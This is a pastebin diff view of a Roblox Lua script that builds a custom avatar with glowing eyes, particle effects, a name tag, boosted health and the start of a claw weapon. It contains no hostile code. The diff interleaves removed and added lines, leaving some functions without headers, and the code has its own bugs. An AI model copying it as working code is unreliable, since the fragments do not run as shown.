SHOW:
|
|
- or go back to the newest paste.
1 | if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end | |
2 | local Player,Mouse,mouse,UserInputService,ContextActionService = owner | |
3 | do | |
4 | print("FE Compatibility code by Mokiros") | |
5 | script.Parent = Player.Character | |
6 | ||
7 | --RemoteEvent for communicating | |
8 | local Event = Instance.new("RemoteEvent") | |
9 | Event.Name = "UserInput_Event" | |
10 | ||
11 | --Fake event to make stuff like Mouse.KeyDown work | |
12 | local function fakeEvent() | |
13 | local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end} | |
14 | t.connect = t.Connect | |
15 | return t | |
16 | end | |
17 | ||
18 | --Creating fake input objects with fake variables | |
19 | local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()} | |
20 | local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()} | |
21 | local CAS = {Actions={},BindAction=function(self,name,fun,touch,...) | |
22 | - | randomnamefem = "Astrie" |
22 | + | CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil |
23 | end} | |
24 | - | maincolor = BrickColor.new("Royal purple") |
24 | + | --Merged 2 functions into one by checking amount of arguments |
25 | CAS.UnbindAction = CAS.BindAction | |
26 | - | local torsmesh = Instance.new("CharacterMesh", char) |
26 | + | |
27 | - | torsmesh.BodyPart = "Torso" |
27 | + | --This function will trigger the events that have been :Connect()'ed |
28 | - | torsmesh.MeshId = "48112070" |
28 | + | local function te(self,ev,...) |
29 | local t = m[ev] | |
30 | if t and t._fakeEvent and t.Function then | |
31 | t.Function(...) | |
32 | end | |
33 | end | |
34 | m.TrigEvent = te | |
35 | UIS.TrigEvent = te | |
36 | ||
37 | Event.OnServerEvent:Connect(function(plr,io) | |
38 | if plr~=Player then return end | |
39 | if io.isMouse then | |
40 | m.Target = io.Target | |
41 | m.Hit = io.Hit | |
42 | else | |
43 | local b = io.UserInputState == Enum.UserInputState.Begin | |
44 | if io.UserInputType == Enum.UserInputType.MouseButton1 then | |
45 | return m:TrigEvent(b and "Button1Down" or "Button1Up") | |
46 | end | |
47 | for _,t in pairs(CAS.Actions) do | |
48 | for _,k in pairs(t.Keys) do | |
49 | if k==io.KeyCode then | |
50 | t.Function(t.Name,io.UserInputState,io) | |
51 | end | |
52 | end | |
53 | end | |
54 | m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower()) | |
55 | UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false) | |
56 | end | |
57 | end) | |
58 | Event.Parent = NLS([==[ | |
59 | local Player = game:GetService("Players").LocalPlayer | |
60 | local Event = script:WaitForChild("UserInput_Event") | |
61 | ||
62 | local UIS = game:GetService("UserInputService") | |
63 | local input = function(io,a) | |
64 | if a then return end | |
65 | --Since InputObject is a client-side instance, we create and pass table instead | |
66 | Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState}) | |
67 | end | |
68 | UIS.InputBegan:Connect(input) | |
69 | UIS.InputEnded:Connect(input) | |
70 | ||
71 | local Mouse = Player:GetMouse() | |
72 | local h,t | |
73 | --Give the server mouse data 30 times every second, but only if the values changed | |
74 | --If player is not moving their mouse, client won't fire events | |
75 | while wait(1/30) do | |
76 | if h~=Mouse.Hit or t~=Mouse.Target then | |
77 | h,t=Mouse.Hit,Mouse.Target | |
78 | Event:FireServer({isMouse=true,Target=t,Hit=h}) | |
79 | end | |
80 | end]==],Player.Character) | |
81 | Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS | |
82 | end | |
83 | ||
84 | paly = owner | |
85 | Player = owner | |
86 | p = owner | |
87 | char = paly.Character | |
88 | vt = Vector3.new | |
89 | rarm = char["Right Arm"] | |
90 | hed = char.Head | |
91 | larm = char["Left Arm"] | |
92 | rleg = char["Right Leg"] | |
93 | lleg = char["Left Leg"] | |
94 | local maincolor = BrickColor.random() | |
95 | local effolemode = false | |
96 | local wrathmode = false | |
97 | local noobmode = false | |
98 | local randomname = "???" | |
99 | local randomnamefem = "???" | |
100 | local randomchanger = 6 | |
101 | if paly.Name == "BINO2002" then | |
102 | randomchanger = 6 | |
103 | end | |
104 | if randomchanger == 6 then | |
105 | randomnamefem = "Micheal The Furry God" | |
106 | effolemode = true | |
107 | maincolor = BrickColor.new("Really black") | |
108 | ||
109 | ||
110 | - | char.Shirt.ShirtTemplate = "rbxassetid://211752973" |
110 | + | |
111 | - | char.Pants.PantsTemplate = "rbxassetid://179059579" |
111 | + | |
112 | dec2.Texture = "rbxassetid://381091841" | |
113 | dec2.Parent = char.Head | |
114 | char.Head.face.Transparency = 1 | |
115 | char.Head.face.Texture = "http://www.roblox.com/asset/?id=0" | |
116 | ||
117 | for i,v in pairs(char:children()) do | |
118 | if v:IsA("Hat") then | |
119 | v:Destroy() | |
120 | end | |
121 | end | |
122 | for i,v in pairs(char:children()) do | |
123 | if v:IsA("Accessory") then | |
124 | - | mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431" |
124 | + | |
125 | end | |
126 | end | |
127 | for i,v in pairs(char:children()) do | |
128 | if v:IsA("Hair") then | |
129 | v:Destroy() | |
130 | end | |
131 | end | |
132 | for i,v in pairs(char:children()) do | |
133 | - | Reaper3 = Instance.new("Model") |
133 | + | |
134 | - | Reaper3.Parent = Player.Character |
134 | + | |
135 | - | Reaper3.Name = "Reaper3" |
135 | + | |
136 | - | rh3 = Instance.new("Part") |
136 | + | |
137 | - | rh3.Parent = Reaper3 |
137 | + | |
138 | - | rh3.BrickColor = BrickColor.new("Really black") |
138 | + | |
139 | - | rh3.Locked = true |
139 | + | |
140 | - | rh3.CanCollide = false |
140 | + | |
141 | - | mesh3 = Instance.new("SpecialMesh") |
141 | + | |
142 | - | rh3.formFactor = "Symmetric" |
142 | + | |
143 | - | mesh3.MeshType = "FileMesh" |
143 | + | |
144 | - | mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852" |
144 | + | |
145 | - | mesh3.Parent = rh3 |
145 | + | |
146 | - | local weld3 = Instance.new("Weld") |
146 | + | |
147 | - | weld3.Parent = rh3 |
147 | + | |
148 | - | rh3.Transparency = 0 |
148 | + | |
149 | - | weld3.Part0 = rh3 |
149 | + | |
150 | - | weld3.Part1 = Player.Character.Head |
150 | + | |
151 | - | weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0) |
151 | + | |
152 | local mesh2 = Instance.new("SpecialMesh",eye12) | |
153 | mesh2.MeshType = "Sphere" | |
154 | mesh2.Scale = Vector3.new(0.75, 1, 1) | |
155 | local weld1en2 = Instance.new("Weld") | |
156 | weld1en2.Parent = hed | |
157 | weld1en2.Part0 = hed | |
158 | weld1en2.Part1 = eye12 | |
159 | weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475) | |
160 | local eye1 = Instance.new("Part") | |
161 | eye1.Parent = char | |
162 | eye1.Size = Vector3.new(0.2, 0.2, 0.2) | |
163 | eye1.Archivable = true | |
164 | eye1.Transparency = 0 | |
165 | eye1.Shape = "Ball" | |
166 | eye1.BrickColor = maincolor | |
167 | eye1.Material = "Neon" | |
168 | eye1.CanCollide = false | |
169 | local mesh = Instance.new("SpecialMesh",eye1) | |
170 | mesh.MeshType = "Sphere" | |
171 | mesh.Scale = Vector3.new(0.75, 1, 1) | |
172 | local weld1en = Instance.new("Weld") | |
173 | weld1en.Parent = hed | |
174 | weld1en.Part0 = hed | |
175 | weld1en.Part1 = eye1 | |
176 | weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475) | |
177 | ||
178 | local BC = char["Body Colors"] | |
179 | BC.HeadColor = BrickColor.new("White") | |
180 | BC.LeftArmColor = BrickColor.new("White") | |
181 | BC.LeftLegColor = BrickColor.new("White") | |
182 | BC.RightArmColor = BrickColor.new("White") | |
183 | BC.RightLegColor = BrickColor.new("White") | |
184 | BC.TorsoColor = BrickColor.new("White") | |
185 | ||
186 | ypcall(function() | |
187 | shirt = Instance.new("Shirt", char) | |
188 | shirt.Name = "Shirt" | |
189 | pants = Instance.new("Pants", char) | |
190 | pants.Name = "Pants" | |
191 | char.Shirt.ShirtTemplate = "rbxassetid://269003887" | |
192 | char.Pants.PantsTemplate = "rbxassetid://770508500" | |
193 | end) | |
194 | Reaper2 = Instance.new("Model") | |
195 | Reaper2.Parent = Player.Character | |
196 | Reaper2.Name = "Reaper2" | |
197 | rh2 = Instance.new("Part") | |
198 | rh2.Parent = Reaper2 | |
199 | rh2.BrickColor = maincolor | |
200 | rh2.Locked = true | |
201 | rh2.CanCollide = false | |
202 | mesh2 = Instance.new("SpecialMesh") | |
203 | - | maincolor = BrickColor.new("Royal purple") |
203 | + | |
204 | mesh2.MeshType = "FileMesh" | |
205 | mesh2.MeshId = "http://www.roblox.com/asset/?id=16627529" | |
206 | mesh2.Parent = rh2 | |
207 | local weld2 = Instance.new("Weld") | |
208 | weld2.Parent = rh2 | |
209 | rh2.Transparency = 0 | |
210 | weld2.Part0 = rh2 | |
211 | weld2.Part1 = Player.Character.Head | |
212 | weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0) | |
213 | ||
214 | local orbe = Instance.new("Part") | |
215 | orbe.Parent = char | |
216 | orbe.Size = Vector3.new(0.2, 0.2, 0.2) | |
217 | orbe.Archivable = true | |
218 | orbe.Transparency = 1 | |
219 | orbe.BrickColor = maincolor | |
220 | orbe.Material = "Neon" | |
221 | orbe.CanCollide = false | |
222 | local weld1e = Instance.new("Weld") | |
223 | weld1e.Parent = rleg | |
224 | weld1e.Part0 = rleg | |
225 | weld1e.Part1 = orbe | |
226 | weld1e.C1 = CFrame.new(0, 1.125, 0) | |
227 | local pt1e = NumberSequenceKeypoint.new(0,0.85,0) | |
228 | local pt2e = NumberSequenceKeypoint.new(1,0,0) | |
229 | local effectoe = Instance.new("ParticleEmitter",orbe) | |
230 | effectoe.LightEmission = 1 | |
231 | effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
232 | effectoe.Color = ColorSequence.new(maincolor.Color) | |
233 | effectoe.Rate = 10000 | |
234 | effectoe.Lifetime = NumberRange.new(1) | |
235 | effectoe.Size = NumberSequence.new({pt1e,pt2e}) | |
236 | effectoe.Speed = NumberRange.new(0,0) | |
237 | effectoe.RotSpeed = NumberRange.new(100,100) | |
238 | ||
239 | local orbze = Instance.new("Part") | |
240 | orbze.Parent = char | |
241 | orbze.Size = Vector3.new(0.2, 0.2, 0.2) | |
242 | orbze.Archivable = true | |
243 | orbze.Transparency = 1 | |
244 | orbze.BrickColor = maincolor | |
245 | orbze.Material = "Neon" | |
246 | orbze.CanCollide = false | |
247 | local weldz1 = Instance.new("Weld") | |
248 | weldz1.Parent = lleg | |
249 | weldz1.Part0 = lleg | |
250 | weldz1.Part1 = orbze | |
251 | weldz1.C1 = CFrame.new(0, 1.125, 0) | |
252 | local effectone = Instance.new("ParticleEmitter",orbze) | |
253 | effectone.LightEmission = 1 | |
254 | effectone.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
255 | effectone.Color = ColorSequence.new(maincolor.Color) | |
256 | effectone.Rate = 10000 | |
257 | effectone.Lifetime = NumberRange.new(1) | |
258 | effectone.Size = NumberSequence.new({pt1e,pt2e}) | |
259 | effectone.Speed = NumberRange.new(0,0) | |
260 | effectone.RotSpeed = NumberRange.new(100,100) | |
261 | end | |
262 | ||
263 | if effolemode == true then | |
264 | maincolor = BrickColor.new("Really black") | |
265 | end | |
266 | ||
267 | local orb = Instance.new("Part") | |
268 | orb.Parent = char | |
269 | orb.Size = Vector3.new(1, 1, 1) | |
270 | orb.Archivable = true | |
271 | orb.Transparency = 1 | |
272 | orb.BrickColor = BrickColor.new("Bright orange") | |
273 | orb.Material = "Wood" | |
274 | orb.CanCollide = false | |
275 | local weld1 = Instance.new("Weld") | |
276 | weld1.Parent = rarm | |
277 | weld1.Part0 = rarm | |
278 | weld1.Part1 = orb | |
279 | weld1.C1 = CFrame.new(0, 1.125, 0) | |
280 | local pt1 = NumberSequenceKeypoint.new(0,0.475,0) | |
281 | local pt2 = NumberSequenceKeypoint.new(1,0,0) | |
282 | local effecto = Instance.new("ParticleEmitter",orb) | |
283 | effecto.LightEmission = 1 | |
284 | effecto.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
285 | effecto.Color = ColorSequence.new(maincolor.Color) | |
286 | effecto.Rate = 10000 | |
287 | effecto.Lifetime = NumberRange.new(1) | |
288 | effecto.Size = NumberSequence.new({pt1,pt2}) | |
289 | effecto.Speed = NumberRange.new(0,0) | |
290 | effecto.RotSpeed = NumberRange.new(100,100) | |
291 | ||
292 | local orbz = Instance.new("Part") | |
293 | orbz.Parent = char | |
294 | orbz.Size = Vector3.new(1, 1, 1) | |
295 | - | text.TextColor3 = BrickColor.new("Royal purple").Color |
295 | + | |
296 | orbz.Transparency = 1 | |
297 | - | text.Text = "Astrie" |
297 | + | |
298 | orbz.Material = "Wood" | |
299 | orbz.CanCollide = false | |
300 | local weldz1 = Instance.new("Weld") | |
301 | weldz1.Parent = larm | |
302 | weldz1.Part0 = larm | |
303 | weldz1.Part1 = orbz | |
304 | weldz1.C1 = CFrame.new(0, 1.125, 0) | |
305 | local effecton = Instance.new("ParticleEmitter",orbz) | |
306 | effecton.LightEmission = 1 | |
307 | effecton.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
308 | effecton.Color = ColorSequence.new(maincolor.Color) | |
309 | effecton.Rate = 10000 | |
310 | - | local p = game.Players.LocalPlayer |
310 | + | |
311 | effecton.Size = NumberSequence.new({pt1,pt2}) | |
312 | - | local mouse = p:GetMouse() |
312 | + | |
313 | effecton.RotSpeed = NumberRange.new(100,100) | |
314 | ||
315 | ||
316 | p = owner | |
317 | char = p.Character | |
318 | torso = char.Torso | |
319 | neck = char.Torso.Neck | |
320 | hum = char.Humanoid | |
321 | hum.MaxHealth = 10000 | |
322 | wait() | |
323 | hum.Health =hum.MaxHealth | |
324 | ||
325 | CV="Hot pink" | |
326 | ||
327 | local txt = Instance.new("BillboardGui", char) | |
328 | txt.Adornee = char .Head | |
329 | txt.Name = "_status" | |
330 | txt.Size = UDim2.new(2, 0, 1.2, 0) | |
331 | txt.StudsOffset = Vector3.new(-9, 8, 0) | |
332 | local text = Instance.new("TextLabel", txt) | |
333 | text.Size = UDim2.new(10, 0, 7, 0) | |
334 | text.FontSize = "Size24" | |
335 | text.TextScaled = true | |
336 | text.TextTransparency = 0 | |
337 | text.BackgroundTransparency = 1 | |
338 | text.TextTransparency = 0 | |
339 | text.TextStrokeTransparency = 0 | |
340 | text.Font = "SciFi" | |
341 | text.TextStrokeColor3 = Color3.new(0,0,0) | |
342 | ||
343 | v=Instance.new("Part") | |
344 | v.Name = "ColorBrick" | |
345 | v.Parent=p.Character | |
346 | v.FormFactor="Symmetric" | |
347 | v.Anchored=true | |
348 | v.CanCollide=false | |
349 | v.BottomSurface="Smooth" | |
350 | v.TopSurface="Smooth" | |
351 | v.Size=Vector3.new(10,5,3) | |
352 | v.Transparency=1 | |
353 | v.CFrame=char.Torso.CFrame | |
354 | v.BrickColor=BrickColor.new(CV) | |
355 | v.Transparency=1 | |
356 | text.TextColor3 = BrickColor.new("Really black").Color | |
357 | v.Shape="Block" | |
358 | text.Text = "Micheal The Furry God" | |
359 | ||
360 | ||
361 | euler = CFrame.fromEulerAnglesXYZ | |
362 | angles = CFrame.Angles | |
363 | local player = "LocalPlayer" | |
364 | local Character = game.Players[player].Character | |
365 | it = Instance.new | |
366 | vt = Vector3.new | |
367 | bc = BrickColor.new | |
368 | cf = CFrame.new | |
369 | mr = math.rad | |
370 | local Weapon = {} | |
371 | local p = owner | |
372 | local char = p.Character | |
373 | local larm = char["Left Arm"] | |
374 | local rarm = char["Right Arm"] | |
375 | local lleg = char["Left Leg"] | |
376 | local rleg = char["Right Leg"] | |
377 | local hed = char.Head | |
378 | local torso = char.Torso | |
379 | local hum = char.Humanoid | |
380 | local cam = game.Workspace.CurrentCamera | |
381 | local root = char.HumanoidRootPart | |
382 | local deb = false | |
383 | local shot = 0 | |
384 | ||
385 | local debris=game:service"Debris" | |
386 | local l = game:GetService("Lighting") | |
387 | local rs = game:GetService("RunService").RenderStepped | |
388 | ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1} | |
389 | math.randomseed(os.time()) | |
390 | for i,v in pairs (hed:GetChildren()) do | |
391 | if v:IsA("Sound") then | |
392 | v:Destroy() | |
393 | end | |
394 | end | |
395 | ---------------------------------------------------- BeastClaw | |
396 | NoOutline = function(Part) | |
397 | Part.TopSurface = 10 | |
398 | end | |
399 | part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size) | |
400 | local fp = it("Part") | |
401 | fp.formFactor = formfactor | |
402 | fp.Parent = parent | |
403 | fp.Reflectance = reflectance | |
404 | fp.Transparency = transparency | |
405 | fp.CanCollide = false | |
406 | fp.Locked = true | |
407 | fp.BrickColor = brickcolor | |
408 | fp.Name = name | |
409 | fp.Size = size | |
410 | NoOutline(fp) | |
411 | fp.Material = "Neon" | |
412 | fp:BreakJoints() | |
413 | return fp | |
414 | end | |
415 | mesh = function(Mesh, part, meshtype, meshid, offset, scale) | |
416 | local mesh = it(Mesh) | |
417 | mesh.Parent = part | |
418 | if Mesh == "SpecialMesh" then | |
419 | mesh.MeshType = meshtype | |
420 | if meshid ~= "nil" then | |
421 | mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid | |
422 | end | |
423 | end | |
424 | mesh.Offset = offset | |
425 | mesh.Scale = scale | |
426 | return mesh | |
427 | end | |
428 | weld = function(parent, part0, part1, c0) | |
429 | local weld = it("Motor6D") | |
430 | weld.Parent = parent | |
431 | weld.Part0 = part0 | |
432 | weld.Part1 = part1 | |
433 | weld.C0 = c0 | |
434 | return weld | |
435 | end | |
436 | gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image) | |
437 | local gui = it(GuiType) | |
438 | gui.Parent = parent | |
439 | gui.BackgroundTransparency = backtrans | |
440 | gui.BackgroundColor3 = backcol | |
441 | gui.SizeConstraint = "RelativeXY" | |
442 | gui.Position = pos | |
443 | gui.Size = size | |
444 | if GuiType == "TextLabel" then | |
445 | gui.Text = text | |
446 | gui.TextXAlignment = "Center" | |
447 | gui.TextYAlignment = "Center" | |
448 | - | local mouse = Player:GetMouse() |
448 | + | |
449 | gui.FontSize = "Size14" | |
450 | gui.TextWrapped = false | |
451 | gui.TextStrokeTransparency = 0 | |
452 | gui.TextColor = TorsoColor | |
453 | else | |
454 | if GuiType == "ImageLabel" then | |
455 | gui.Image = "rbxassetid://" .. image | |
456 | gui.ImageColor3 = backcol | |
457 | end | |
458 | end | |
459 | return gui | |
460 | end | |
461 | local handle = nil | |
462 | - | TorsoColor = BrickColor.new("Royal purple") |
462 | + | |
463 | prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt()) | |
464 | - | z.SoundId = "rbxassetid://0" -- Put Music ID Here. |
464 | + | |
465 | msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1)) | |
466 | wld = weld(handle, prt, wldpar, ceef) | |
467 | v = it("NumberValue", prt) | |
468 | v.Value = trans | |
469 | v.Name = "MainTransparency" | |
470 | return prt, msh, wld | |
471 | end | |
472 | AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare) | |
473 | prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt()) | |
474 | prt.Material = neon | |
475 | msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1)) | |
476 | wld = weld(wldpare, prt, wldpar, ceef) | |
477 | v = it("NumberValue", prt) | |
478 | v.Value = trans | |
479 | v.Name = "MainTransparency" | |
480 | return prt, msh, wld | |
481 | end | |
482 | local modelzorzez = Instance.new("Model") | |
483 | modelzorzez.Parent = workspace.CurrentCamera | |
484 | modelzorzez.Name = "none" | |
485 | local Torso = Character.Torso | |
486 | local LeftArm = Character["Left Arm"] | |
487 | local RightArm = Character["Right Arm"] | |
488 | local LeftLeg = Character["Left Leg"] | |
489 | local RightLeg = Character["Right Leg"] | |
490 | local Head = Character.Head | |
491 | local RootPart = Character.HumanoidRootPart | |
492 | handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt()) | |
493 | local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7)) | |
494 | ||
495 | -- SAHHHH DUUDEEE | |
496 | ||
497 | ||
498 | ||
499 | ||
500 | -- params : ... | |
501 | ||
502 | wait(0.016666666666667) | |
503 | script.Archivable = false | |
504 | Effects = {} | |
505 | local Player = game.Players.localPlayer | |
506 | local Character = Player.Character | |
507 | local Humanoid = Character.Humanoid | |
508 | local m = Instance.new("Model", Character) | |
509 | m.Name = "WeaponModel" | |
510 | local effect = Instance.new("Model", Character) | |
511 | effect.Name = "effecsfsafzx" | |
512 | local demon = Instance.new("Model", Character) | |
513 | demon.Name = "demdemd" | |
514 | local LeftArm = Character["Left Arm"] | |
515 | local RightArm = Character["Right Arm"] | |
516 | local LeftLeg = Character["Left Leg"] | |
517 | local RightLeg = Character["Right Leg"] | |
518 | local do2target = nil | |
519 | local Head = Character.Head | |
520 | local Torso = Character.Torso | |
521 | TorsoColor = BrickColor.new("Really black") | |
522 | z = Instance.new("Sound", Torso) | |
523 | z.SoundId = "rbxassetid://465622636" -- Put Music ID Here. | |
524 | z.Looped = true | |
525 | z.Pitch = 0 | |
526 | z.Volume = 0 | |
527 | wait(.1) | |
528 | z:Play() | |
529 | local cam = game.Workspace.CurrentCamera | |
530 | local RootPart = Character.HumanoidRootPart | |
531 | local RootJoint = RootPart.RootJoint | |
532 | local equipped = false | |
533 | local attack = false | |
534 | local Anim = "Idle" | |
535 | local idle = 0 | |
536 | local attacktype = 1 | |
537 | local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude | |
538 | local velocity = RootPart.Velocity.y | |
539 | local sine = 0 | |
540 | local change = 1 | |
541 | local mana = 0 | |
542 | local it = Instance.new | |
543 | vt = Vector3.new | |
544 | local grabbed = false | |
545 | local cf = CFrame.new | |
546 | local mr = math.rad | |
547 | local angles = CFrame.Angles | |
548 | local ud = UDim2.new | |
549 | local c3 = Color3.new | |
550 | clerp = function(a, b, t) | |
551 | ||
552 | return a:lerp(b, t) | |
553 | end | |
554 | ||
555 | local RbxUtility = LoadLibrary("RbxUtility") | |
556 | local Create = RbxUtility.Create | |
557 | RemoveOutlines = function(part) | |
558 | ||
559 | part.TopSurface = 10 | |
560 | end | |
561 | ||
562 | CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size) | |
563 | ||
564 | local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
565 | RemoveOutlines(Part) | |
566 | return Part | |
567 | end | |
568 | ||
569 | CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale) | |
570 | ||
571 | local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale}) | |
572 | if Mesh == "SpecialMesh" then | |
573 | Msh.MeshType = MeshType | |
574 | Msh.MeshId = MeshId | |
575 | end | |
576 | return Msh | |
577 | end | |
578 | ||
579 | local co1 = 3 | |
580 | local co2 = 10 | |
581 | local co3 = 15 | |
582 | local co4 = 30 | |
583 | local cooldown1 = 0 | |
584 | local cooldown2 = 0 | |
585 | local cooldown3 = 0 | |
586 | local cooldown4 = 0 | |
587 | local maxEnergy = 100 | |
588 | local Energy = 0 | |
589 | local skill1stam = 1000 | |
590 | local skill2stam = 1000 | |
591 | local skill3stam = 1000 | |
592 | local skill4stam = 1000 | |
593 | local recovermana = 5 | |
594 | local skillcolorscheme = BrickColor.new("White").Color | |
595 | local scrn = Instance.new("ScreenGui", Player.PlayerGui) | |
596 | makeframe = function(par, trans, pos, size, color) | |
597 | ||
598 | local frame = Instance.new("Frame", par) | |
599 | frame.BackgroundTransparency = trans | |
600 | frame.BorderSizePixel = 0 | |
601 | frame.Position = pos | |
602 | frame.Size = size | |
603 | frame.BackgroundColor3 = color | |
604 | return frame | |
605 | end | |
606 | ||
607 | makelabel = function(par, text) | |
608 | ||
609 | local label = Instance.new("TextLabel", par) | |
610 | label.BackgroundTransparency = 1 | |
611 | label.Size = UDim2.new(1, 0, 1, 0) | |
612 | label.Position = UDim2.new(0, 0, 0, 0) | |
613 | label.TextColor3 = Color3.new(255, 255, 255) | |
614 | label.TextStrokeTransparency = 0 | |
615 | label.FontSize = Enum.FontSize.Size32 | |
616 | label.Font = Enum.Font.SourceSansLight | |
617 | label.BorderSizePixel = 0 | |
618 | label.TextScaled = true | |
619 | label.Text = text | |
620 | end | |
621 | ||
622 | ArtificialHB = Instance.new("BindableEvent", script) | |
623 | ArtificialHB.Name = "Heartbeat" | |
624 | script:WaitForChild("Heartbeat") | |
625 | frame = 0.033333333333333 | |
626 | tf = 0 | |
627 | allowframeloss = false | |
628 | tossremainder = false | |
629 | lastframe = tick() | |
630 | script.Heartbeat:Fire() | |
631 | game:GetService("RunService").Heartbeat:connect(function(s, p) | |
632 | ||
633 | tf = tf + s | |
634 | if frame <= tf then | |
635 | if allowframeloss then | |
636 | script.Heartbeat:Fire() | |
637 | lastframe = tick() | |
638 | else | |
639 | for i = 1, math.floor(tf / frame) do | |
640 | script.Heartbeat:Fire() | |
641 | end | |
642 | lastframe = tick() | |
643 | end | |
644 | if tossremainder then | |
645 | tf = 0 | |
646 | else | |
647 | tf = tf - frame * math.floor(tf / frame) | |
648 | end | |
649 | end | |
650 | end | |
651 | ) | |
652 | swait = function(num) | |
653 | ||
654 | if num == 0 or num == nil then | |
655 | ArtificialHB.Event:wait() | |
656 | else | |
657 | for i = 0, num do | |
658 | ArtificialHB.Event:wait() | |
659 | end | |
660 | end | |
661 | end | |
662 | ||
663 | CreateWeld = function(Parent, Part0, Part1, C0, C1) | |
664 | ||
665 | local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1}) | |
666 | return Weld | |
667 | end | |
668 | ||
669 | rayCast = function(Position, Direction, Range, Ignore) | |
670 | ||
671 | return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore) | |
672 | end | |
673 | ||
674 | CreateSound = function(id, par, vol, pit) | |
675 | ||
676 | coroutine.resume(coroutine.create(function() | |
677 | ||
678 | local sou = Instance.new("Sound", par or workspace) | |
679 | sou.Volume = vol | |
680 | sou.Pitch = pit or 1 | |
681 | sou.SoundId = id | |
682 | swait() | |
683 | sou:play() | |
684 | game:GetService("Debris"):AddItem(sou, 6) | |
685 | end | |
686 | )) | |
687 | end | |
688 | ||
689 | local getclosest = function(obj, distance) | |
690 | ||
691 | local last, lastx = distance + 1, nil | |
692 | for i,v in pairs(workspace:GetChildren()) do | |
693 | if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then | |
694 | local t = v.Torso | |
695 | local dist = t.Position - obj.Position.magnitude | |
696 | if dist <= distance and dist < last then | |
697 | last = dist | |
698 | lastx = v | |
699 | end | |
700 | end | |
701 | end | |
702 | return lastx | |
703 | end | |
704 | ||
705 | CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size) | |
706 | ||
707 | if PartType == "Part" then | |
708 | local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
709 | RemoveOutlines(Part) | |
710 | return Part | |
711 | else | |
712 | do | |
713 | if PartType == "WedgePart" then | |
714 | local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
715 | RemoveOutlines(Part) | |
716 | return Part | |
717 | end | |
718 | end | |
719 | end | |
720 | end | |
721 | ||
722 | Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1)) | |
723 | HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
724 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
725 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0)) | |
726 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006)) | |
727 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
